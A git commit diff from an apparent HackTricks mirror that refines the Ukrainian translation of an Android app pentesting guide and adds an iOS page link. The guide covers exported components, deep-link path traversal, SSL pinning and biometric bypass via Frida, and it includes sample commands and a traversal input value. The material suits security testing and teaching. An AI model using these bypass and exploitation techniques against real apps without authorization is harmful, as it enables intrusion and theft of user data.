mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's
This commit is contained in:
parent
0e09b73206
commit
130467d733
@ -348,6 +348,7 @@
|
||||
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
|
||||
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
|
||||
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
|
||||
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
|
||||
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
|
||||
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
|
||||
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
|
||||
|
@ -47,9 +47,15 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Дослідження випадків та вразливості
|
||||
|
||||
{{#ref}}
|
||||
../ios-pentesting/air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
## Статичний аналіз
|
||||
|
||||
По-перше, для аналізу APK вам слід **ознайомитися з Java-кодом** за допомогою декомпілера.\
|
||||
По-перше, для аналізу APK вам слід **ознайомитися з Java кодом** за допомогою декомпілера.\
|
||||
Будь ласка, [**читайте тут, щоб знайти інформацію про різні доступні декомпілери**](apk-decompilers.md).
|
||||
|
||||
### Пошук цікавої інформації
|
||||
@ -64,21 +70,21 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
**Дослідження файлів _Manifest.xml_ та **_strings.xml_** програми може виявити потенційні вразливості безпеки**. Ці файли можна отримати за допомогою декомпілерів або перейменувавши розширення файлу APK на .zip, а потім розпакувавши його.
|
||||
|
||||
**Вразливості**, виявлені з **Manifest.xml**, включають:
|
||||
**Вразливості**, виявлені з **Manifest.xml** включають:
|
||||
|
||||
- **Дебаговані програми**: Програми, які встановлені як дебаговані (`debuggable="true"`) у файлі _Manifest.xml_, становлять ризик, оскільки дозволяють з'єднання, які можуть призвести до експлуатації. Для подальшого розуміння того, як експлуатувати дебаговані програми, зверніться до посібника з пошуку та експлуатації дебагованих програм на пристрої.
|
||||
- **Налаштування резервного копіювання**: Атрибут `android:allowBackup="false"` повинен бути явно встановлений для програм, що працюють з чутливою інформацією, щоб запобігти несанкціонованим резервним копіям даних через adb, особливо коли увімкнено налагодження USB.
|
||||
- **Безпека мережі**: Налаштування безпеки мережі (`android:networkSecurityConfig="@xml/network_security_config"`) у _res/xml/_ можуть вказувати деталі безпеки, такі як пін-коди сертифікатів та налаштування HTTP-трафіку. Прикладом є дозволення HTTP-трафіку для певних доменів.
|
||||
- **Безпека мережі**: Налаштування безпеки мережі (`android:networkSecurityConfig="@xml/network_security_config"`) у _res/xml/_ можуть вказувати деталі безпеки, такі як пін-коди сертифікатів та налаштування HTTP-трафіку. Наприклад, дозволяючи HTTP-трафік для певних доменів.
|
||||
- **Експортовані активності та сервіси**: Виявлення експортованих активностей та сервісів у маніфесті може підкреслити компоненти, які можуть бути зловживані. Подальший аналіз під час динамічного тестування може виявити, як експлуатувати ці компоненти.
|
||||
- **Постачальники контенту та FileProviders**: Відкриті постачальники контенту можуть дозволити несанкціонований доступ або модифікацію даних. Конфігурацію FileProviders також слід ретельно перевірити.
|
||||
- **Отримувачі широкомовлення та URL-схеми**: Ці компоненти можуть бути використані для експлуатації, з особливою увагою до того, як управляються URL-схеми для вразливостей введення.
|
||||
- **Версії SDK**: Атрибути `minSdkVersion`, `targetSDKVersion` та `maxSdkVersion` вказують на підтримувані версії Android, підкреслюючи важливість непідтримки застарілих, вразливих версій Android з міркувань безпеки.
|
||||
- **Отримувачі трансляцій та URL-схеми**: Ці компоненти можуть бути використані для експлуатації, з особливою увагою до того, як управляються URL-схеми для вразливостей введення.
|
||||
- **Версії SDK**: Атрибути `minSdkVersion`, `targetSDKVersion` та `maxSdkVersion` вказують на підтримувані версії Android, підкреслюючи важливість того, щоб не підтримувати застарілі, вразливі версії Android з міркувань безпеки.
|
||||
|
||||
З файлу **strings.xml** можна виявити чутливу інформацію, таку як API-ключі, власні схеми та інші нотатки розробників, що підкреслює необхідність ретельного перегляду цих ресурсів.
|
||||
З файлу **strings.xml** можна виявити чутливу інформацію, таку як API ключі, власні схеми та інші нотатки розробників, що підкреслює необхідність ретельного перегляду цих ресурсів.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** - це атака, коли **зловмисна** **програма** запускається і **розташовується поверх програми жертви**. Як тільки вона видимо закриває програму жертви, її інтерфейс користувача спроектований так, щоб обманути користувача взаємодіяти з нею, в той час як вона передає взаємодію до програми жертви.\
|
||||
**Tapjacking** - це атака, коли **зловмисна** **програма** запускається і **розташовується поверх програми жертви**. Як тільки вона видимо закриває програму жертви, її інтерфейс користувача спроектований так, щоб обманути користувача взаємодіяти з нею, в той час як вона передає взаємодію програмі жертви.\
|
||||
Фактично, це **осліплює користувача, не даючи йому знати, що він насправді виконує дії в програмі жертви**.
|
||||
|
||||
Знайдіть більше інформації в:
|
||||
@ -106,26 +112,26 @@ android-task-hijacking.md
|
||||
1. **Статичний аналіз:**
|
||||
- **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевіряється**. Ці режими **можуть потенційно відкрити** файли для **небажаного або несанкціонованого доступу**.
|
||||
2. **Динамічний аналіз:**
|
||||
- **Перевірте** **дозволи**, встановлені на файли, створені програмою. Зокрема, **перевірте**, чи є файли, **встановлені на читання або запис для всіх**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
|
||||
- **Перевірте** **дозволи**, встановлені на файлах, створених програмою. Зокрема, **перевірте**, чи є файли **встановленими на читання або запис для всіх**. Це може становити значний ризик для безпеки, оскільки це дозволить **будь-якій програмі**, встановленій на пристрої, незалежно від її походження чи наміру, **читати або змінювати** ці файли.
|
||||
|
||||
**Зовнішнє зберігання**
|
||||
|
||||
При роботі з файлами на **зовнішньому зберіганні**, наприклад, на SD-картах, слід вжити певних запобіжних заходів:
|
||||
|
||||
1. **Доступність**:
|
||||
- Файли на зовнішньому зберіганні є **глобально читабельними та записуваними**. Це означає, що будь-яка програма або користувач можуть отримати доступ до цих файлів.
|
||||
- Файли на зовнішньому зберіганні є **глобально доступними для читання та запису**. Це означає, що будь-яка програма або користувач можуть отримати доступ до цих файлів.
|
||||
2. **Проблеми безпеки**:
|
||||
- З огляду на легкість доступу, рекомендується **не зберігати чутливу інформацію** на зовнішньому зберіганні.
|
||||
- Зовнішнє зберігання може бути видалено або доступно будь-якою програмою, що робить його менш безпечним.
|
||||
3. **Обробка даних з зовнішнього зберігання**:
|
||||
- Завжди **виконуйте перевірку введення** на дані, отримані з зовнішнього зберігання. Це важливо, оскільки дані надходять з ненадійного джерела.
|
||||
- Завжди **виконуйте валідацію введення** на даних, отриманих з зовнішнього зберігання. Це важливо, оскільки дані походять з ненадійного джерела.
|
||||
- Зберігання виконуваних файлів або класів на зовнішньому зберіганні для динамічного завантаження категорично не рекомендується.
|
||||
- Якщо ваша програма повинна отримувати виконувані файли з зовнішнього зберігання, переконайтеся, що ці файли **підписані та криптографічно перевірені** перед їх динамічним завантаженням. Цей крок є важливим для підтримки цілісності безпеки вашої програми.
|
||||
|
||||
Зовнішнє зберігання можна **отримати** за адресами `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
Зовнішнє зберігання може бути **доступним** у `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Починаючи з Android 4.4 (**API 17**), SD-карта має структуру директорій, яка **обмежує доступ програми до директорії, яка спеціально призначена для цієї програми**. Це запобігає зловмисним програмам отримувати доступ на читання або запис до файлів іншої програми.
|
||||
> Починаючи з Android 4.4 (**API 17**), SD-карта має структуру каталогів, яка **обмежує доступ програми до каталогу, який спеціально призначений для цієї програми**. Це запобігає зловмисним програмам отримувати доступ для читання або запису до файлів іншої програми.
|
||||
|
||||
**Чутливі дані, збережені у відкритому тексті**
|
||||
|
||||
@ -183,7 +189,7 @@ react-native-application.md
|
||||
|
||||
### Автоматизований статичний аналіз коду
|
||||
|
||||
Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатний знаходити **вразливості** шляхом **сканування** **коду** програми. Цей інструмент містить ряд **відомих джерел** (які вказують інструменту **місця**, де **вхід** **контролюється користувачем**), **синків** (які вказують інструменту **небезпечні** **місця**, де шкідливий вхід користувача може завдати шкоди) та **правил**. Ці правила вказують на **комбінацію** **джерел-синків**, яка вказує на вразливість.
|
||||
Інструмент [**mariana-trench**](https://github.com/facebook/mariana-trench) здатний знаходити **вразливості** шляхом **сканування** **коду** програми. Цей інструмент містить ряд **відомих джерел** (які вказують інструменту **місця**, де **вхід** **контролюється користувачем), **синків** (які вказують інструменту **небезпечні** **місця**, де шкідливий вхід користувача може завдати шкоди) та **правил**. Ці правила вказують на **комбінацію** **джерел-синків**, яка вказує на вразливість.
|
||||
|
||||
З цими знаннями **mariana-trench перегляне код і знайде можливі вразливості в ньому**.
|
||||
|
||||
@ -232,7 +238,7 @@ content-protocol.md
|
||||
|
||||
#### Використання емулятора
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні версії x86** підтримують ARM бібліотеки без необхідності повільного емулятора arm).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створити **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні версії x86** підтримують ARM бібліотеки без необхідності повільного емулятора arm).
|
||||
- Дізнайтеся, як налаштувати його на цій сторінці:
|
||||
|
||||
{{#ref}}
|
||||
@ -256,19 +262,19 @@ avd-android-virtual-device.md
|
||||
Вам потрібно активувати **опції налагодження**, і було б добре, якщо ви зможете **зламати** його:
|
||||
|
||||
1. **Налаштування**.
|
||||
2. (З Android 8.0) Виберіть **Система**.
|
||||
2. (З Android 8.0) Виберіть **Систему**.
|
||||
3. Виберіть **Про телефон**.
|
||||
4. Натисніть **Номер збірки** 7 разів.
|
||||
5. Поверніться назад, і ви знайдете **Опції розробника**.
|
||||
|
||||
> Після встановлення програми перше, що ви повинні зробити, це спробувати її та дослідити, що вона робить, як вона працює і звикнути до неї.\
|
||||
> Я рекомендую **виконати цей початковий динамічний аналіз, використовуючи динамічний аналіз MobSF + pidcat**, щоб ми могли **вивчити, як працює програма**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше.
|
||||
> Як тільки ви встановили додаток, перше, що ви повинні зробити, це спробувати його та дослідити, що він робить, як він працює і звикнути до нього.\
|
||||
> Я рекомендую **виконати цей початковий динамічний аналіз, використовуючи динамічний аналіз MobSF + pidcat**, щоб ми могли **вивчити, як працює додаток**, поки MobSF **збирає** багато **цікавих** **даних**, які ви зможете переглянути пізніше.
|
||||
|
||||
### Ненавмисний витік даних
|
||||
|
||||
**Журналювання**
|
||||
**Логування**
|
||||
|
||||
Розробники повинні бути обережними, щоб не розкривати **інформацію для налагодження** публічно, оскільки це може призвести до витоку чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів програми, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
|
||||
Розробники повинні бути обережними, щоб не розкривати **інформацію для налагодження** публічно, оскільки це може призвести до витоку чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів додатка, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що з **пізніми версіями Android 4.0**, **додатки можуть отримувати доступ лише до своїх власних журналів**. Тому додатки не можуть отримувати доступ до журналів інших додатків.\
|
||||
@ -276,30 +282,30 @@ avd-android-virtual-device.md
|
||||
|
||||
**Кешування буфера копіювання/вставки**
|
||||
|
||||
**Кліпборд** Android дозволяє функціональність копіювання-вставки в додатках, але це створює ризик, оскільки **інші додатки** можуть **отримати доступ** до буфера обміну, потенційно розкриваючи чутливі дані. Важливо **відключити функції копіювання/вставки** для чутливих частин програми, таких як дані кредитних карток, щоб запобігти витоку даних.
|
||||
**Кліпборд** Android дозволяє функціонал копіювання-вставки в додатках, але це створює ризик, оскільки **інші додатки** можуть **отримати доступ** до буфера обміну, потенційно розкриваючи чутливі дані. Важливо **відключити функції копіювання/вставки** для чутливих частин програми, таких як дані кредитних карток, щоб запобігти витоку даних.
|
||||
|
||||
**Журнали аварій**
|
||||
|
||||
Якщо додаток **зависає** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
|
||||
|
||||
Як пентестер, **слідкуйте за цими журналами**.
|
||||
Як пентестер, **спробуйте переглянути ці журнали**.
|
||||
|
||||
**Дані аналітики, надіслані третім особам**
|
||||
|
||||
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неправильну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік програми** та перевірити, чи надсилається будь-яка чутлива інформація третім особам.
|
||||
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неправильну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік програми** та перевірити, чи надсилається якась чутлива інформація третім особам.
|
||||
|
||||
### SQLite БД
|
||||
|
||||
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, що створюються, назви **таблиць** та **стовпців** і всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, які створені, назви **таблиць** та **стовпців** і всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Бази даних повинні розташовуватися в `/data/data/the.package.name/databases`, як `/data/data/com.mwr.example.sieve/databases`.
|
||||
|
||||
Якщо база даних зберігає конфіденційну інформацію і **зашифрована**, але ви можете **знайти** **пароль** всередині програми, це все ще є **вразливістю**.
|
||||
Якщо база даних зберігає конфіденційну інформацію і **зашифрована**, але ви можете **знайти** **пароль** всередині програми, це все ще **вразливість**.
|
||||
|
||||
Перерахуйте таблиці, використовуючи `.tables`, і перераховуйте стовпці таблиць, виконуючи `.schema <table_name>`.
|
||||
Перелічте таблиці, використовуючи `.tables`, і перелічте стовпці таблиць, виконуючи `.schema <table_name>`.
|
||||
|
||||
### Drozer (Експлуатація активностей, постачальників контенту та сервісів)
|
||||
|
||||
З [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **приймати роль Android-додатка** та взаємодіяти з іншими додатками. Він може робити **все, що може зробити встановлений додаток**, наприклад, використовувати механізм міжпроцесного зв'язку (IPC) Android і взаємодіяти з основною операційною системою.\
|
||||
З [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **приймати роль Android-додатка** та взаємодіяти з іншими додатками. Він може робити **все, що може зробити встановлений додаток**, наприклад, використовувати механізм міжпроцесного зв'язку (IPC) Android та взаємодіяти з основною операційною системою.\
|
||||
Drozer є корисним інструментом для **експлуатації експортованих активностей, експортованих сервісів та постачальників контенту**, як ви дізнаєтеся в наступних розділах.
|
||||
|
||||
### Експлуатація експортованих активностей
|
||||
@ -309,18 +315,18 @@ Drozer є корисним інструментом для **експлуата
|
||||
|
||||
**Обхід авторизації**
|
||||
|
||||
Коли активність експортується, ви можете викликати її екран з зовнішнього додатка. Тому, якщо активність з **чутливою інформацією** є **експортованою**, ви можете **обійти** механізми **авторизації**, щоб отримати до неї доступ.
|
||||
Коли активність експортується, ви можете викликати її екран з зовнішнього додатка. Тому, якщо активність з **чутливою інформацією** є **експортованою**, ви можете **обійти** механізми **автентифікації**, щоб отримати доступ до неї.
|
||||
|
||||
[**Дізнайтеся, як експлуатувати експортовані активності за допомогою Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Ви також можете запустити експортовану активність з adb:
|
||||
|
||||
- Ім'я пакета - com.example.demo
|
||||
- Ім'я пакету - com.example.demo
|
||||
- Експортоване ім'я активності - com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTE**: MobSF виявить використання _**singleTask/singleInstance**_ як `android:launchMode` в активності як шкідливе, але через [це](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, що це небезпечно лише в старих версіях (версії API < 21).
|
||||
**NOTE**: MobSF виявить використання _**singleTask/singleInstance**_ як `android:launchMode` в активності як шкідливе, але через [це](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, що це небезпечно лише на старих версіях (версії API < 21).
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що обхід авторизації не завжди є вразливістю, це залежить від того, як працює обхід і яка інформація піддається розкриттю.
|
||||
@ -340,15 +346,15 @@ Content providers в основному використовуються для
|
||||
|
||||
[**Дізнайтеся, як експлуатувати Content Providers за допомогою Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Використання Services**
|
||||
### **Експлуатація Сервісів**
|
||||
|
||||
[**Прочитайте це, якщо хочете освіжити знання про Service.**](android-applications-basics.md#services)\
|
||||
Пам'ятайте, що дії Service починаються в методі `onStartCommand`.
|
||||
[**Прочитайте це, якщо хочете освіжити знання про Сервіс.**](android-applications-basics.md#services)\
|
||||
Пам'ятайте, що дії Сервісу починаються в методі `onStartCommand`.
|
||||
|
||||
Сервіс в основному є чимось, що **може отримувати дані**, **обробляти** їх і **повертати** (або не повертати) відповідь. Тому, якщо програма експортує деякі сервіси, вам слід **перевірити** **код**, щоб зрозуміти, що він робить, і **тестувати** його **динамічно** для витягування конфіденційної інформації, обходу заходів аутентифікації...\
|
||||
[**Дізнайтеся, як експлуатувати Services за допомогою Drozer.**](drozer-tutorial/index.html#services)
|
||||
[**Дізнайтеся, як експлуатувати Сервіси за допомогою Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Використання Broadcast Receivers**
|
||||
### **Експлуатація Broadcast Receivers**
|
||||
|
||||
[**Прочитайте це, якщо хочете освіжити знання про Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Пам'ятайте, що дії Broadcast Receiver починаються в методі `onReceive`.
|
||||
@ -356,7 +362,7 @@ Content providers в основному використовуються для
|
||||
Broadcast receiver буде чекати на певний тип повідомлення. В залежності від того, як приймач обробляє повідомлення, він може бути вразливим.\
|
||||
[**Дізнайтеся, як експлуатувати Broadcast Receivers за допомогою Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Використання Schemes / Deep links**
|
||||
### **Експлуатація Схем / Глибоких посилань**
|
||||
|
||||
Ви можете шукати глибокі посилання вручну, використовуючи інструменти, такі як MobSF, або скрипти, як [цей](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Ви можете **відкрити** оголошену **схему** за допомогою **adb** або **браузера**:
|
||||
@ -370,9 +376,9 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
||||
```
|
||||
**Код, що виконується**
|
||||
**Код виконано**
|
||||
|
||||
Щоб знайти **код, який буде виконуватись в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
|
||||
Щоб знайти **код, який буде виконано в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
@ -382,8 +388,8 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
|
||||
**Параметри в шляху**
|
||||
|
||||
Ви **також повинні перевірити, чи використовує будь-яке глибоке посилання параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити перехід по шляху, отримуючи доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити деталі користувачів без CSRF токена, а вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Ви **також повинні перевірити, чи використовує будь-яке глибоке посилання параметр всередині шляху** URL, як-от: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити перехід по шляху, отримуючи доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити дані користувачів без токена CSRF і вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Більше прикладів**
|
||||
|
||||
@ -393,7 +399,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
|
||||
- **Сертифікати не завжди належним чином перевіряються** Android-додатками. Це звичайна практика для цих додатків ігнорувати попередження та приймати самопідписані сертифікати або, в деяких випадках, повертатися до використання HTTP-з'єднань.
|
||||
- **Переговори під час SSL/TLS рукопожаття іноді є слабкими**, використовуючи небезпечні шифри. Ця вразливість робить з'єднання вразливим до атак типу man-in-the-middle (MITM), що дозволяє зловмисникам розшифровувати дані.
|
||||
- **Витік приватної інформації** є ризиком, коли додатки аутентифікуються за допомогою захищених каналів, але потім спілкуються через незахищені канали для інших транзакцій. Цей підхід не захищає чутливі дані, такі як сесійні куки або деталі користувачів, від перехоплення зловмисними особами.
|
||||
- **Витік приватної інформації** є ризиком, коли додатки аутентифікуються за допомогою захищених каналів, але потім спілкуються через незахищені канали для інших транзакцій. Цей підхід не захищає чутливі дані, такі як сесійні куки або дані користувачів, від перехоплення зловмисними особами.
|
||||
|
||||
#### Перевірка сертифікатів
|
||||
|
||||
@ -401,7 +407,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning - це захід безпеки, при якому додаток перевіряє сертифікат сервера проти відомої копії, збереженої в самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, що обробляють чутливу інформацію.
|
||||
SSL Pinning - це захід безпеки, при якому додаток перевіряє сертифікат сервера на відповідність відомій копії, збереженій у самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, які обробляють чутливу інформацію.
|
||||
|
||||
#### Інспекція трафіку
|
||||
|
||||
@ -409,7 +415,7 @@ SSL Pinning - це захід безпеки, при якому додаток
|
||||
|
||||
Додатки, що націлені на **API Level 24 і вище**, потребують модифікацій конфігурації безпеки мережі, щоб приймати сертифікат CA проксі. Цей крок є критично важливим для перевірки зашифрованого трафіку. Для інструкцій щодо модифікації конфігурації безпеки мережі, [**зверніться до цього посібника**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Якщо використовується **Flutter**, вам потрібно дотримуватись інструкцій на [**цій сторінці**](flutter.md). Це пов'язано з тим, що просто додавання сертифіката до сховища не спрацює, оскільки Flutter має свій власний список дійсних CA.
|
||||
Якщо використовується **Flutter**, вам потрібно дотримуватися інструкцій на [**цій сторінці**](flutter.md). Це пов'язано з тим, що просто додавання сертифіката до сховища не спрацює, оскільки Flutter має свій власний список дійсних CA.
|
||||
|
||||
#### Обхід SSL Pinning
|
||||
|
||||
@ -423,17 +429,17 @@ SSL Pinning - це захід безпеки, при якому додаток
|
||||
|
||||
#### Пошук загальних веб-вразливостей
|
||||
|
||||
Важливо також шукати загальні веб-вразливості в додатку. Детальна інформація про виявлення та усунення цих вразливостей виходить за межі цього резюме, але вона широко висвітлюється в інших джерелах.
|
||||
Важливо також шукати загальні веб-вразливості в додатку. Детальна інформація про виявлення та усунення цих вразливостей виходить за межі цього резюме, але широко висвітлюється в інших джерелах.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) - це набір інструментів для динамічної інструментації для розробників, реверс-інженерів та дослідників безпеки.\
|
||||
**Ви можете отримати доступ до працюючого додатку та підключати методи в реальному часі, щоб змінити поведінку, змінити значення, витягти значення, виконати різний код...**\
|
||||
Якщо ви хочете провести тестування безпеки Android-додатків, вам потрібно знати, як використовувати Frida.
|
||||
Якщо ви хочете проводити тестування безпеки Android-додатків, вам потрібно знати, як використовувати Frida.
|
||||
|
||||
- Дізнайтеся, як використовувати Frida: [**Посібник з Frida**](frida-tutorial/index.html)
|
||||
- Дізнайтеся, як використовувати Frida: [**Посібник Frida**](frida-tutorial/index.html)
|
||||
- Деякі "GUI" для дій з Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection - це чудово для автоматизації використання Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Ojection - це чудовий інструмент для автоматизації використання Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Ви можете знайти деякі чудові скрипти Frida тут: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Спробуйте обійти механізми анти-дебагінгу / анти-Frida, завантажуючи Frida, як вказано в [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (інструмент [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
@ -456,7 +462,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Чутливі дані в Keystore**
|
||||
|
||||
В Android Keystore є найкращим місцем для зберігання чутливих даних, однак, з достатніми привілеями все ще **можливо отримати до них доступ**. Оскільки додатки, як правило, зберігають тут **чутливі дані у відкритому тексті**, пентести повинні перевіряти це як користувач root або хтось з фізичним доступом до пристрою може бути здатний вкрасти ці дані.
|
||||
У Android Keystore є найкращим місцем для зберігання чутливих даних, однак, з достатніми привілеями все ще **можливо отримати до них доступ**. Оскільки додатки, як правило, зберігають тут **чутливі дані у відкритому тексті**, пентести повинні перевіряти це як користувач root або хтось з фізичним доступом до пристрою може бути здатний вкрасти ці дані.
|
||||
|
||||
Навіть якщо додаток зберігав дані в keystore, дані повинні бути зашифровані.
|
||||
|
||||
@ -472,13 +478,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Фонові зображення**
|
||||
|
||||
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатку**, щоб, коли його відновлюють на передній план, він починає завантажувати зображення перед додатком, тому здається, що додаток завантажився швидше.
|
||||
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатка**, щоб, коли його відновлюють на передній план, він починає завантажувати зображення перед додатком, тому здається, що додаток завантажився швидше.
|
||||
|
||||
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до неї).
|
||||
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до нього).
|
||||
|
||||
Знімки зазвичай зберігаються за адресою: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android надає спосіб **запобігти захопленню скріншотів, встановивши параметр макета FLAG_SECURE**. Використовуючи цей прапор, вміст вікна обробляється як безпечний, що запобігає його появі на скріншотах або перегляду на небезпечних дисплеях.
|
||||
Android надає спосіб **запобігти захопленню знімків екрану, встановивши параметр макета FLAG_SECURE**. Використовуючи цей прапор, вміст вікна вважається безпечним, що запобігає його появі на знімках екрану або перегляду на небезпечних дисплеях.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -488,7 +494,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
### Ін'єкція намірів
|
||||
|
||||
